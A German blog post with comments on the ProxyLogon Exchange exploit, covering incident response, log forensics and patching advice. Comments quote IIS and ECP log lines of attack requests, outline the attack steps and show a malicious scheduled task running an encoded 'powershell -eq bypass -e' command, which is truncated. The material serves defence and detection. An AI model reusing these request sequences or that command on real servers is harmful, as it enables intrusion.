Mittlerweile ist der Exploit für die Exchange Schwachstellen öffentlich verfügbar und zieht, wie zu erwarten war, noch weitere Kreise. Zunächst wurde der Exploit auf GitHub gesperrt, was selbstverständlich zur Folge hatte, dass nun erst Recht der Exploit auf verschiedensten Seiten veröffentlicht wurde. Mittlerweile ist der Exploit auch wieder auf GitHub verfügbar, nur halt bei anderen Accounts (oder auch via Tor-Link).
Falls es sich jemand mal anschauen möchte, hier findet sich der Exploit:
Der Windows Defender erkennt mit den aktuellen Signaturen übrigens den Exploit Code, was natürlich nicht viel hilft, denn der Exploit wird ja remote ausgeführt:
Ich hab mit den Exploit mal angeschaut, es sind ja bloß 169 Zeilen Python Code. Dabei ist mir direkt eine kleine aber feine Schwachstelle aufgefallen:
Wer seinen Exchange Server also nicht unter dem Standardpfad “C:\Program Files\Microsoft\Exchange Server” installiert hat, sondern beispielsweise auf einem anderen Laufwerk, der kann sich mal zurücklehnen und sich auf die Schulter klopfen: Gut gemacht!
Zumindest dieser Exploit, würde versuchen die Webshell in einem Verzeichnis anzulegen, welches nicht existiert, wenn Exchange auf einem anderen Laufwerk oder Pfad installiert wurde. Dies gilt allerdings nur für diesen PoC Exploit Code und hält maximal jemanden auf, der versucht dieses Beispiel direkt zu übernehmen.
Dieser Exploit ist auch ohne weitere Anpassung nicht direkt lauffähig. Ich habe den Exploit mit Exchange 2019 getestet und es hakt gleich an mehreren Stellen. Bis zu einer gewissen Stelle ist dies noch alles recht einfach anpassbar, aber zumindest in meiner Exchange 2019 Testumgebung wird das “msExchCanary” nicht nach dem ProxyLogon zurück geliefert:
Dies könnte übrigens eine Erklärung für die vielen erfolgten ProxyLogons in den IIS Logs sein, wo sich allerdings keine Webshell oder ähnliches feststellen lässt. Andere Exchange Versionen konnte ich bisher nicht testen. Scheinbar haben aber zumindest noch nicht alle Angreifer den Exploit gut genug angepasst. Dies soll aber nicht heißen, dass es nicht gelingt, denn aktuell wird über die bekannten Schwachstellen auch Ransomware installiert, welche Daten im Netzwerk verschlüsselt. Neben einer Webshell ist dies also der zweite SuperGAU für Unternehmen.
Ich empfehle daher dringend ungepatchte Exchange Server direkt vom Internet zu trennen (Port 443 an der Firewall sperren) und die Server schnellstmöglich zu aktualisieren. Der Mailempfang wird dadurch nicht gestört, nur Benutzer welche ActiveSync, OWA und/oder OutlookAnywhere (RPCoverHTTPs, MAPIoverHTTPs) verwenden,können nicht mehr auf Exchange zugreifen. Hier könnte aber der Zugriff via VPN erfolgen, wenn dies unbedingt erforderlich ist. Ich kann mir gut vorstellen, dass gerade kleinere Systemhäuser vor einer riesigen Aufgabe stehen, so schnell wie möglich die Systeme der Kunden zu aktualisieren, dies aber aufgrund der Ressourcen und Aufwände einfach nicht so schnell schaffen wie es nötig wäre. Daher meine Empfehlung: Erst mal alle vom Netz trennen, dann aktualisieren, dann untersuchen und ggf. neu installieren und erst dann wieder den Zugriff via Port 443 freigeben.
Gestern waren laut BSI noch ca. 25.000 Exchange Server in Deutschland verwundbar:
Bevor hier also die nächste Ransomware Plage oder vertrauliche Daten öffentlich werden, sollten diese Systeme schnellstmöglich vom Netz genommen werden und aktualisiert werden. Auch muss geprüft werden, ob eine Meldepflicht im Sinne der DSGVO erfolgen muss, dazu finden sich hier weitere Informationen:
Meine Empfehlung, wenn Anzeichen mit den verfügbaren Testscripts auftauchen und die Updates zu dem Zeitpunkt noch nicht installiert waren, dann lieber neu installieren:
Folgende Informationen zum Kompromittierungsstatus eines Exchange-Servers:
Bei ALLEN unserer Kunden, die einen Exchange-Server einsetzen (12 x Exch2016, 7 x Exch2019) kam es zu KompromittierungsVERSUCHEN. Und zwar ausschließlich am 03.03.2021 zwischen 04:00 und 14:00. Alle Exchanger wurden von uns am späten Nachmittag mit dem Hotfix gepatcht.
Bei der Auswertung konnten wir folgenen Informationen gewinnen:
Die Exchanger werden erst ab einem bestimmten Level kompromittiert. Wir konnten stets folgende Reihenfolger der Kompromittierung feststellen:
2021-03-03T04:52:32.300Z,“86.105.18.116″,“87.234.59.74″,“/ecp/y.js“,“X-BEResource-Cookie“,“ExchangeServicesClient/0.0.0.0″,“ServerInfo~a]@host.domain.local:444/autodiscover/autodiscover.xml?#“,“200″
2021-03-03T04:58:32.358Z,“86.105.18.116″,“83.236.160.6″,“/ecp/y.js“,“X-BEResource-Cookie“,“ExchangeServicesClient/0.0.0.0″,“ServerInfo~a]@host.domain.local:444/autodiscover/autodiscover.xml?#“,“200″
2021-03-03T07:16:05.398Z,“86.105.18.116″,“87.234.59.74″,“/ecp/y.js“,“X-BEResource-Cookie“,“ExchangeServicesClient/0.0.0.0″,“ServerInfo~a]@host.domain.local:444/autodiscover/autodiscover.xml?#“,“200″
2021-03-03T07:18:21.853Z,“86.105.18.116″,“83.236.160.6″,“/ecp/y.js“,“X-BEResource-Cookie“,“ExchangeServicesClient/0.0.0.0″,“ServerInfo~a]@host.domain.local:444/autodiscover/autodiscover.xml?#“,“200″
2021-03-03T10:51:44.934Z,“86.105.18.116″,“87.234.59.74″,“/ecp/y.js“,“X-BEResource-Cookie“,“ExchangeServicesClient/0.0.0.0″,“ServerInfo~a]@host.domain.local:444/autodiscover/autodiscover.xml?#“,“200″
2021-03-03T10:53:47.204Z,“86.105.18.116″,“83.236.160.6″,“/ecp/y.js“,“X-BEResource-Cookie“,“ExchangeServicesClient/0.0.0.0″,“ServerInfo~a]@host.domain.local:444/autodiscover/autodiscover.xml?#“,“200″
2021-03-03T13:23:37.025Z,“139.59.56.239″,“87.234.59.74″,“/ecp/y.js“,“X-BEResource-Cookie“,“ExchangeServicesClient/0.0.0.0″,“ServerInfo~a]@host.domain.local:444/autodiscover/autodiscover.xml?#“,“200″
2021-03-03T13:23:40.474Z,“139.59.56.239″,“87.234.59.74″,“/ecp/y.js“,“X-BEResource-Cookie“,“python-requests/2.25.1″,“ServerInfo~a]@host.domain.local:444/mapi/emsmdb/?#“,“200″
2021-03-03T13:23:47.948Z,“139.59.56.239″,“87.234.59.74″,“/ecp/y.js“,“X-BEResource-Cookie“,“python-requests/2.25.1″,“ServerInfo~a]@host.domain.local:444/ecp/proxyLogon.ecp?#“,“241″
2021-03-03T13:24:06.893Z,,“139.59.56.239″,“87.234.59.74″,“/ecp/y.js“,“X-BEResource-Cookie“,“python-requests/2.25.1″,“ServerInfo~a]@host.domain.local:444/ecp/DDI/DDIService.svc/GetObject?msExchEcpCanary=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.&schema=OABVirtualDirectory#“,“200″
Das JavaScript-File ist nicht wirklich eine Datei. Sie MUSS für den Angriff viel mehr als im Backend erwarteter Parameter angegeben werden, existiert physikalisch aber nicht wirklich (meine Befürchtung war, dass ein JavaScript-Code evtl. den Angriff einleitet).
Einige haben spekuliert, sobald der Request mit proxyLogon.ecp ausgeführt wird, sei der Server erfolgreich kompromittiert. Das entspricht nicht unseren Beobachtungen. Auch der nachfolgende Request mit dem GetObject führt noch nicht zur Kompromittierung. Viel mehr wird hiermit die OAB-ID ausgelesen und dabei erfolgreich ein NTML-Negotiate gegenüber dem Backend ausgeführt (NT-Authority\SYSTEM). Sie BRAUCHEN die OAB-ID, um die externe URL ändern zu können. Solange es jedoch in der Befehlsabfolge keinen Request mit SetObject im Log gegeben hat, ist der Server unseren Untersuchungen nach nicht kompromittiert. Und wir haben so einiges an forensischen Tools aufgefahren, fanden aber – NICHTS.
Kein lauschendes WinRM, kein zusätzlichen AD-User, keine Webshells, keine ungewöhnlich geöffneten Ports oder Dienste, keine Änderung am TaskScheduler, keine Hinweise auf Dumps, die auf der Platte gespeichert wurden, keine gepackten Dateien, Traffic Control der Security Appliance ohne Hinweise auf größeren Traffic. Wir haben auch auf Webshells mit Status hidden und/oder system gesucht: o. B. Wir verwenden übrigens zum Suchen UltraSearch. Das sucht sehr, sehr schnell, selbt TB-große Platten durch. Es sucht übrigens nicht in jedem Ordner sondern nur den MFT durch. Der Kernel war durch Secure Boot und Kernsisolierung geschützt.
Vor der Applikation des Exchange-Hotfixes haben wir einen MemoryDump der aktuellen Maschinen für die spätere Untersuchung gemacht. Ergebnis: keine Hinweise auf Base64-codierte oder uncodierte PS-Ausführungen, kein Hinweis auf Credential Dumps im Memory.
Es sieht in der Tat so aus, als ob eine Kompromittierung erst dann möglich war, nachdem die externe OAB-URL auf ein schädliches Script umgebogen war, das das dann die Webshell herunter geladen hat. Ich glaube auch nicht, dass die Angreifer einen Teil der Logs sowie Ereignisanzeige löschen und einen Teil drin lassen.
Wer sich das Script, das für den Angriff genutzt wurde, einmal ansehen möchte: https://pastebin.com/8URdFqVq (nicht funktional). Hier sind sehr gut die einzelnen Steps der Kompromittierung erkennbar.
Ich ahb das hier in den Logs gefunde, stehe aber wie Förster vorm wald und frage mich wie das zu lesen ist:
u_ex210303.log:13342:2021-03-03 07:40:23 192.168.XXX:XXX POST /ecp/y.js
&CorrelationID=;&cafeReqId=bc516abe-4c9e-4d53-821b-*REDACTED*; 443 – 86.105.18.116
ExchangeServicesClient/0.0.0.0 – 200 0 0 67
200 ist ja ein ACK also verbidnung erfolgreich aber was heißt der Rest auf deutsch….
Danke
Das was du da siehst ist ein Schritt der Angriffes durch die besagte IP.
Die y.js gibt es nicht, es ist ein Artefakt,einer willkürlichen URL die für den Angriff benutzt wurde, um den Payload in den Server injizieren zu können.
Suche mal hier nach den von mir verlinkten Artikel von Praetorian, da wird der Angriff erklärt.
Webshells gefunden? Weitere Spuren in den OWA Logs? Hast du Spuren in den Autodiscover Logs zur selben Zeit? Solltest du wenn.
Hallo Franky und Community,
habe ua auf einem betroffenen MS Srv 2012 mit Exchange 2016 auch einen geplanten Task gefunden namens:
„Winnet“
Wird alles 45 Sek wiederholt und startet irgendwas von „haf_Winnet.xml“ –
Programm starten „powershell -eq bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjA….“
Der Task bzw. die Datei wurde zumindest sofort von GDATA Business „gefressen“ –
neben den bekannten Indicators of Compromise wurde somit auch dies gefunden…
Dann waren die bei euch erfolgreich :(
Prüfe mal ob eure anderen Server betroffen sind. Dieses Skript lädt ein Payload nach mit dem eine ganze Reihe an Hacking Tools ankommen. Ihr müsstet sicherstellen, dass das nicht passiert ist, weil sonst habt ihr ein echtes Problem.
Die Frage ist ja ob der Gdata das Skript ab der ersten Ausführung erwischt hat… viele der Sicherheitslösungen haben dieses Vorgehen erst spät erkannt, so ab den 6.3
Schau in den ersten Blogpost zu Hafnium von Frank. In dessen Kommentare wird dieser Angriff von anderen und mir diskutiert inkl. Links zu externen Informationsquellen.
Wie kann man denn am einfachsten das AD auf Änderungen überprüfen?
Ich fürchte darauf gibt es keine einfache Antwort, weil es einiges an Können und Wissen erfordert.
Du kannst aber schon manuel alle Admin Gruppen auf Veränderungen durchgehen.
Prüfen ob neue User angelegt wurden, oder ob welche auf einmal andere Rechte als vorher haben.
Wenn euer AD groß ist, dann solltet ihr das mit Powershell Skripte automatisieren.
Wenn euch das zu komplex ist, dann wäre es an der Zeit über das Einbinden eines fachkundigen Externen nachzudenken. Mann kann ja auch nicht alles immer selbst machen.
Alex was soll daran nicht gut sein? Alle Anfragen wurden bei uns mit 500 abgelehnt.
500 = Serverfehler
200 = Zugriff erfolgreich
Der Server ist sauber. Keine Dateien. MSERT hat nichts gefunden. Manuelle suche alles ohne Ergebnisse. NTFS Rechte auch ok. Regedit wegen AD Dump auch ok.
Habe noch mit drei Virenscanner gesucht nichts. Keine Aufgälligkeiten in der Firewall, das er komische Seiten ansteuert.
OAB Log ok nichts drin.
Hatte die Kiste dann komplett Offline gesetzt Update auf CU19 + Hotfix ging ohne Problem.
Hi Lanwolf,
ich meinte das mit DDI… wenn die das ausführen, dann waren die Angreifer schon weiter gekommen. Dann waren die dabei eines der RCEs auszunutzen versuchen. Es wäre besser gewesen wenn es keinen DDI Eintrag gegeben hätte.
Das ist kein gutes Zeichen. Ich habe aber nicht gesagt, dass ihr kompromittiert wurde. Nur das die bei euch ganz nah dran waren. Siehe den Artikel von Praetorian.
Aber wenn du sagst das MSERT und die anderen Skripte nichts gefunden haben, dann hattet ihr wohl wie wir Dussel.
Hast du mal den AD auf Veränderungen überprüft? Das AD Dump war ja das harmloseste unter den weiteren möglichen Schritten. Die haben auch versucht an Schattenkopien des AD zu kommen bei Betroffenen.
Kann sein, dass ich etwas paranoid klinge, aber mir steckt es noch in den Knochen und ich gehe bei so-was prinzipiell vom Wort Case aus. Unsere User durften letzte Woche alle ihre Passwörter ändern und Kerberos wurde zweimal geändert.
Der Angriff war im Groben folgerndermaßen:
1. Ermitteln von Autodiscover und Auslesen der E-Mail des Admins, falls dieser ein Exchange-Konto hat (falls er eins hat, haben Sie die E-Mail-Adresse bekomme, unabhängig, ob der administrator@xxx.yy hieß oder nicht).
2. Ermitteln der OAB-ID
3. Lesen der Parameter des virtuellen Verzeichnisses von OAB
4. Setzen einer neuen External-URL von OAB mit einem Script, dass die externe Payload nachlädt
5. Ausnutzen der Webshell (die Payload aus 4.)
Erst ab Punkt 4 kann von einer Kompromittierung bezüglich Remote Access gesprochen werden. Das Auslesen der OAB-Paremter in 4. hat nur read-only-Charakter. Nur ein GetObject (@host.domain.local:444/ecp/DDI/DDIService.svc/GetObject?msExchEcpCanary, bestägit mit 200) ist das Auslesen der OAB-Setting.
Wenn das noch ein @host.domain.local:444/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary folgt, konnten sie die externe URL umschreiben und laden im nächsten Step die Webshell damit herunter.
Das betrifft die Kompromittierung per Webshell. Auslesen aller E-Mails aller Konten, die per Autodiscover und folgende gefunden wurden, ging auch ohne Webshell. D. h, alle Informationen, die sich in Mails befunden haben müssen als öffentlich gelten.
Hi bei uns haben sie es auch versucht, doch der Server hat mit dem http Code 500 die Anfrage verweigert.
Ich habe kurz nach der Installation den Port vom Admin Center umgebogen und somit ein Login auf 443 unterbunden.
Artikel von Franky: Exchange 2016: EAC nur im internen Netzwerk freigeben
Meint ihr daran lag es, dass sie sich nicht einloggen konnten?
Meinst du die die Anfrage an /RPC/ oder an /ECP/ mit POST?
Bei uns gab es bei /RPC/ immer einen 500er bevor der Patch angewendet wurde.
Nach dem Patch gab es dann einen 500er beim Versuch des POST im /ECP/.
Ich konnte in den Logs festellen, dass die nach unserem Administrator gesucht haben mittels Autodiscover.xml
Einmal mit administrator@unseredomain.com und einmal administrator@unseredomain.de
Den haben sie aber glücklicherweise nicht gefunden, weil der bei uns anders heißt. Außerdem war die Kennung zum Zeitpunkt deaktiviert, aber ich bin mir da auch nicht sicher ob das einen Einfluss gehabt hätte.
Laut Praetorian (Seite habe ich weiter oben schon verlink) brauchten die Angreifer wohl die Daten des Adminstrators damit es klappt. Aber das ist unter Vorbehalt, weil vielleicht gab es noch einen anderen Weg.
Wir jedenfalls konnten bei uns keine Webshells oder Veränderungen aufm Server feststellen. Das MS Proxylogon Skript spukte auch nur die 2 Einträge für Autodiscover aus… aber nicht die POST ins /ECP/ oder die 500er im /RPC/.
Hi,
ich meine die ecp einträge. Habe 8 Stück davon über mehrer Tage. Meine Logs gehen bis zum 01.01.2021 zurück.
Alle werde mit 500 angegeben.
Habe Logs gesehen wo das Get mit 200 bestätigt wird und dann kommt das Set mit 200 und schon war das Ding durch.
EX2016.domain.local:444/ecp/DDI/DDIService.svc/GetList?msExchEcpCanary=pGEMgOjFHk-g5nJnu6H-1hCPEYRc4dgIKydy_IMa7iNgW2DoxuspHeoTPSVwpRhEwAsLENM_8RE.&schema=VirtualDirectory#“,“500″
Oha, das liest sich nicht sehr gut… wenn die den DDI ausführen konnten, dann würde es bedeuten, dass der Exploit der Request forgery geklappt hat und der Angreifer die RCE probiert hat.
Von wann waren die Einträge in deinen Logs?
Habt ihr den Server aktuell in Quarantäne? Wenn nicht, dann sofort nachholen.
Habt ihr auf dem Server das MSERT Tool laufen lassen, oder andere Skripte um nach Webshells zu suchen?
Was sagen die OAB Logs zum Verzeichnis? Hier wurde wohl versucht das Verzeichnis entweder neu zu setzen, oder es wurde dessen externe URL Angabe für das Hinterlegen einer Webshell mißbraucht.
Wie das ganze funktioniert steht im Artikel von Praetorian. Diesen bitte durchlesen.
Wir hatten 2 ECP Posts mit 200 und dann,von einem anderen Angreifer am 4.3 nachdem der Server gepatcht war, mehrere GETs für Dateien wo der Server mit 302 geantwortet hat. Diese Dateien konnte ich aber aufm Server nicht finden. Am 4.3 kam der erste Angreifer auch zurück, aber da gab das ECP Post ein 500er, wohl wegen dem Patch.
Ich habe aber am 4.3 Abends den Server aus einem Backup restored und den kontaminierten Server gesichert für nachträgliche Analyse.
Hi,
das ist interessant.
Wir hatten auch GETs am 4.3, aber die wurden mit 302 beantwortet. Das hat mich erstmal sehr beunruhigt, aber die Dateien waren nicht aufm Server soviel ich sehen konnte. Denke also, dass es eine Eigenart des IIS ist 302 zu antworten anstelle von 404?
Zum Zeitpunkt war der Server gepatcht.
Wir haben aus einem Backup vom 10. Dezember restored um sicher zu sein, auch wenn das Skript nur Einträge am 3.3.2021 ausgespuckt hatte.
nach DDI müsste ich den Logs erneut schauen, aber meine die nicht gesehen zu haben in den Logs.
wie man ein Backdoor oder Webshell auf einem Exchange aufspührt, dazu hilft der PS Script https://github.com/donkey/chkwebshell.ps1
Das Skrip ist mittlerweile obsolet.
Laut dem Ersteller ist es auch nicht mehr nötig, weil das Microsoft MSERT die Webshells erkennt.
Das MSERT erkennt aktuell auch das chkwebshell.ps1 Skript als eine Webshell wenn es den auf dem Server findet.
Man beachte die Readme im Github Repo.
An dieser Stelle einmal das dickste Dankeschön, welches man nur ausprechen kann!: Franky wahnsinn! Danke für deine Anleitungen und danke dafür, dass du alle Informationen die du besitzt teilst!
Hier wurde uns die Arbeit enorm erleichtert! Mach weiter so! – du bist der wahnsinn!
Guten Abend in die Runde,
die Jungs von Praetorian haben sich den Patch von Microsoft angeschaut und daraus die Änderungen an Exchange zurückverfolgen können. Ein sehr interessanter Artikel der ermöglicht zu verstehen wie der Angriff wohl abläuft.
Siehe hier: https://www.praetorian.com/blog/reproducing-proxylogon-exploit/
Hallo guys , unsere Kunden servers sind auch getroffen auch wenn Exchange unter D Drive installiert habe . Das Windows defender hat das .aspx Datei gefunden und gelöscht unter D Drive für Exchange !!
Ich habe momentan das Port 443 ausgeschaltet ,habe ich Zeit Die Servern neu zu installieren oder auch ohne Port 443 können die exploit ausgenutzt werden?
Hallo Ali,
die Aussage zum alternativen Installationspfad bezog sich auf den öffentlich verfügbaren PoC Exploit. Dies hat allerdings nichts mit Exploits / Angriffen zu tun die sich bereits seit längeren genutzt werden. Ich hab das im Artikel leider nicht deutlich genug geschrieben. Betroffene Server sollten direkt von Internet, besser Netzwerk getrennt werden.
Gruß,
Frank
OWA und ActiveSync waren/sind auch betroffen.
ActiveSync? Huch. Das habe ich nicht mitbekommen.
Hast du einen Link vielleicht?
“
Update 3:
Die Verwundbarkeit über nicht-vertrauenswürdige Verbindungen auf Port 443 kann grundsätzlich durch
jeden Exchange Web Dienst verursacht werden, d. h. nicht nur durch OWA, sondern auch bei der Nutzung von
ActiveSync,Unified Messaging (UM), dem Exchange Control Panel (ECP) VDir, den Offline Address Book (OAB) VDir
Services sowie weiterer Dienste.
Der Finder der Schwachstelle CVE-2021-26855 [MIC2021g] hat dieser den Namen ProxyLogon gegeben. Auf der
entsprechenden Webseite findet sich auch ein Video, mit dem die Ausnutzung gezeigt wird [PRO2021].
“
https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2021/2021-197772-1132.pdf?__blob=publicationFile&v=4
Danke dir.
Ich hatte mir die Infos vom BSI am Montag durchgelesen und deren Podcast angeschaut.
Ich bin mir nicht sicher, aber ich denke, dass der BSI hier etwas zu weit rausholt. Die Schwachstellen betreffen OWA, ECP, RPC (Aufklärung vor Angriff) , UM Und OAB. Das ist durch die Exploits bestätigt.
Ich wüsste jetzt nicht wie die Schwachstellen bei ActiveSync genutzt werden könnten. Dazu hat im englischsprachigen Raum auch nach meiner Kenntnis niemand etwas veröffentlicht.
Danke Frank, für die Ausführungen!
Wie ist die Einschätzung der Gemeinde:
Wie verwundbar sind Exchance-Server, die hinter Reverse-Proxy arbeiten?
Unser Server ist nach Franks Anleitung hinter einer Sophos installiert. D.h. die Firewall agiert als SMTP-Relay und die Web-Services sind hinter dem Reverse-Proxy.
SEHR! Dennoch komme ich an den Server, und ja..
Wie ist der reverse proxy den installiert im netz?
Ich muss mal blöd fragen. Das PoC Scirpt von dem Github greift ja auf den https:///ECP zu.
Was ist wenn das ECP nicht öffentlich erreichbar war?
Alle anderen Pfade wie OWA, RCP usw. schon.
Wäre dann ein Hack auch erfolgreich gewesen oder muss das ECP erreichbar sein damit es funktioniert?
Es gibt 3 RCEs … und alle 3 ermöglichen das Schreiben in jedem Verzeichnis bei erfolgreicher Anwendung… also wenn ECP nicht erreichbar gewesen ist, bleiben die restlichen Verzeichnisse :(
Es gibt unterschiedliche Angriffsvektoren und dementsprechend unterschiedliche Orte wo die Angreifer daten hinterlegen.
Deshalb wird auch empfohlen die Exchange Server wiederherzustellen oder neu aufzusetzen.
Danke! Das ist ein PoC! Proof of Concept… So ist/wird es ins Metasploit Framework übernimmen, geht ja auch nur um zu testen… Das kappieren viele nicht… Die finden halt ne Schwachstelle und sind dann nicht in der Lage auf Umgebungsvaris zurück zugreifen ^^
Das exploit der anderen, ist, wie ja von Hunderten bestätigt wurde Automatisiert Weil M$ bereits im Januar von dem Fehler + Angriffen erfahren hat….
Jeder der hier sagt er sei dem Super-Gau entkommen, sollte mal genauer gucken… Ich hab nen backdoor gefunden der iisstop.png hieß….
„Ich hab nen backdoor gefunden der iisstop.png“
und wo lag der?
im owa folder lag dieser.
Der Header war keiner einer PNG.
Wo genau in der owa? owa gibt es unter ClientAccess und Frontend.
Wie hast du die denn gefunden? Manuelle Suche oder Skript, oder Tool?
iistop.png (würde ich sagen) ist keine Backdoor.
Bei manch unserer Systeme wurde eine xx.bat ausgeführt. Diese hat ein paar Infos zusammen gezogen und dann als iistop.png zusammengepackt.
Lässt sich auch ganz einfach wieder auspacken (ist eigentlich eine .cab).
Scheint recht alter (schlechter) Code zu sein. Ist hier ganz unten abgebildet:
https://www.msxfaq.de/exchange/update/hafnium-exploit.htm
VG
Max
Danke!
Schau ich mir gleich mal an
Ich habe auch die Anleitung zur Installation angewendet, nur mein Server war infiziert.
Man tausche einfach den festen Pfad gegen $env:exchangeinstallpath aus und Schwuppdiwupp nütz einem der abweichende Installationspfad auch nichts mehr. Die sind doch nicht doof und es gibt doch garantiert schon erweiterte Skripte mit angepassten (Schad)code.
Wann wurden denn die Patches installiert?
Das mit dem Installationspfad ist ja interessant und würde erklären, warum wir nicht betroffen sind. Ich habe damals den Exchange nach deiner Anleitung für Exchange VMs eingerichtet und installiert. Der Exchange liegt somit auf einer anderen virtuellen Festplatte (E:/). Danke für deine tollen Artikel zum Thema!
Hallo Carsten,
Glückwunsch du bist dem SuperGAU entkommen (so wie wir wohl auch) aber ich würde trotzdem nie vom vordefinierten Installationspfad abweichen (auch eine Empfehlung unseres externen Dienstleisters) denn viele Skripte (auch von MS) haben diesen Pfad bei sich fest eingebunden und funktionieren somit bei Dir nur nach einer Anpassung.
Wünsche ein Erholsames Wochenende (was wohl nicht viele aus unserer Berufsgruppe derzeit haben)
MfG Paul
Wir haben Exchange 2013 und hatten CU19 installiert.
Exchange ist nicht auf C: installiert .
Leider sind meine zwei Exchange Server betroffen.
Also trifft es nicht für alle zu…
Vielleicht für 2019 …
2021-03-04T22:23:59.162Z,MAILx,ECP.LongRunning,S:TIME=2260;S:SID=xxxxx-07c8-4131-b085-b359ba549f41;’S:CMD=Remove-OABVirtualDirectory.Force=$true.Identity=“MAILx\OAB (Default Web Site)“‘;S:REQID=;S:URL=/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=s608GXgx1UanjWps9LzMC_PwGYPu4NgIVkbPz4SGOQBiZGVrZclWGI7le36ATGNRik26dYEppV0.&schema=ResetOABVirtualDirectory;S:EX=;S:ACTID=7f8de257-8dd4-4d57-a090-3f379c462fc4;S:RS=0;S:BLD=15.0.1365.1
2021-03-04T22:24:11.724Z,MAILx,ECP.LongRunning,S:TIME=12534;S:SID=xxxxx-07c8-4131-b085-b359ba549f41;’S:CMD=New-OABVirtualDirectory.WebSiteName=“Default Web Site“.Server=“MAILx“.Role=“ClientAccess“.InternalURL=“https://mailx.domain.local/OAB“.Path=“E:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\OAB“‘;S:REQID=;S:URL=/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=s608GXgx1UanjWps9LzMC_PwGYPu4NgIVkbPz4SGOQBiZGVrZclWGI7le36ATGNRik26dYEppV0.&schema=ResetOABVirtualDirectory;S:EX=;S:ACTID=7f8de257-8dd4-4d57-a090-3f379c462fc4;S:RS=1;S:BLD=15.0.1365.1
2021-03-04T22:24:11.755Z,MAIL-1-KONIN,ECP.LongRunning,S:TIME=23;S:SID=xxxx-07c8-4131-b085-b359ba549f41;’S:CMD=Get-OabVirtualDirectory.ADPropertiesOnly=$true.Identity=“MAILx\OAB (Default Web Site)“‘;S:REQID=;S:URL=/ecp/DDI/DDIService.svc/SetObject?msExchEcpCanary=s608GXgx1UanjWps9LzMC_PwGYPu4NgIVkbPz4SGOQBiZGVrZclWGI7le36ATGNRik26dYEppV0.&schema=ResetOABVirtualDirectory;S:EX=;S:ACTID=7f8de257-8dd4-4d57-a090-3f379c462fc4;S:RS=1;S:BLD=15.0.1365.1
Frank, bitte wieder löschen.
Hab nur die ersten Kommentare gelesen.
Das erklärt bei uns, warum nur Dateien im IIS Verzeichnis abgelegt wurden.
Das betrifft aber wohl nur das jetzt öffentlich verfügbare Exploit, die meisten Angriffe ab dem 3.3. (oder gar davor) sind aber wohl mit einem anderen Exploit angegriffen worden, bei den meisten Servern lagen die .aspx Dateien für die Webshell aber nur unter:
c:\inetpub\wwwroot\aspnet_client\
Nur bei einem kleinen Teil wurde auch etwas im Exchange Verzeichnis abgelegt, zumindest was die Server betrifft die ich überprüft habe.